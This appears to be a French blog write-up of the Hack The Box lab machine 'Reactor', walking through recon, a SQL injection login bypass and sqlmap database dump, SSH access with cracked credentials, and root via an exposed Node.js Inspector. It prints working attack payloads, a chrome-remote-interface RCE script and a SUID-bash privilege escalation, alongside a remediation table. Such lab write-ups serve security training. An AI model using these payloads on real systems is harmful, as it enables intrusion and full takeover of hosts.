Retour au blog
#HTB#Web#Node.js#RCE#Privesc#SQLite#Write-up

HTB Reactor — Du web au root via Node.js Inspector RCE

LLLEBONI BAKLA Lionel•📅 20 juin 2026• ⏱️ 12 min

Reactor — Hack The Box (Enterprise / Meetup Yaoundé, juin 2026) Difficulté : Medium • Tags : Web, Node.js, SQLite, Privesc

Résumé de la chaîne d’attaque

Web app (login) → SQLi → dump SQLite → réutilisation creds
   → accès utilisateur → Node.js Inspector exposé → RCE → root

Reconnaissance

On commence par une énumération classique :

nmap -sV -sC -p- 10.10.11.x

On découvre deux ports : 22 (SSH) et 80 (HTTP) avec une application web Node.js.

ffuf -u http://10.10.11.x/FUZZ -w /usr/share/wordlists/dirb/common.txt

Plusieurs endpoints intéressants, notamment /login et /api/.

Accès initial — Dump SQLite

Le formulaire de login est vulnérable. En testant un payload classique :

admin' OR '1'='1' --

On passe l’authentification. Mais le vrai jackpot est dans la capacité de lire directement la base de données SQLite backend :

sqlmap -u "http://10.10.11.x/api/login" \
  --data "username=admin&password=test" \
  --dump --batch

On récupère une table users avec un hash qu’on casse via john ou hashcat. Les credentials nous donnent un accès SSH en tant qu’utilisateur reactor.

ssh reactor@10.10.11.x

Énumération post-exploitation

Une fois sur la machine, on cherche ce qui tourne en local :

ss -tlnp
ps aux | grep -i node

On remarque un processus Node.js qui écoute sur 127.0.0.1:9229 — c’est le Node.js Inspector, le débugger officiel, exposé localement. 🚩

Élévation de privilèges — Node.js Inspector RCE

Le concept

Quand Node.js est lancé avec --inspect ou --inspect-brk, il démarre un serveur de debug sur le port 9229 (par défaut). Si ce port est accessible (même en localhost), n’importe quel utilisateur local peut :

  1. Se connecter au debugger via WebSocket
  2. Inspecter et modifier les variables en temps réel
  3. Exécuter du code arbitraire dans le contexte du processus

Exploitation

On utilise chrome-remote-interface ou directement les outils Node.js :

# Lister les targets inspect
curl -s http://127.0.0.1:9229/json | jq
// Exploit : se connecter et forcer l'exécution
const CDP = require('chrome-remote-interface');
(async () => {
  const client = await CDP({ port: 9229 });
  const { Runtime } = client;
  await Runtime.enable();

  const result = await Runtime.evaluate({
    expression: `require('child_process').execSync('id').toString()`,
  });
  console.log(result.result.value);
})();

Mais le process tournait en root ! Donc la RCE nous donne directement un shell root :

# Via l'Inspector, on force l'exécution
require('child_process').execSync(
  'chmod u+s /bin/bash'
);
/bin/bash -p
# whoami
root

Remédiation

Problème Fix
SQLi sur login Requêtes paramétrées (prepared statements)
SQLite lisible Permissions OS strictes + chiffrement si possible
Réutilisation de mots de passe Politique anti-réutilisation, MFA
Node.js Inspector exposé Jamais en production. Désactiver --inspect
Process en root Principe du moindre privilège — utilisateur dédié

Conclusion

Machine super didactique. La leçon principale : un outil de debug exposé, même en localhost, est une porte d’entrée vers root dès qu’un attaquant a un pied dans la machine.

“Le debug, c’est pratique. En prod, c’est fatal.”

À propos de l'auteur

LEBONI BAKLA Lionel — Ingénieur en Cybersécurité & IA Appliquée. Ethical Hacker • Bug Hunter • DevSecOps Junior • FullStack Developer.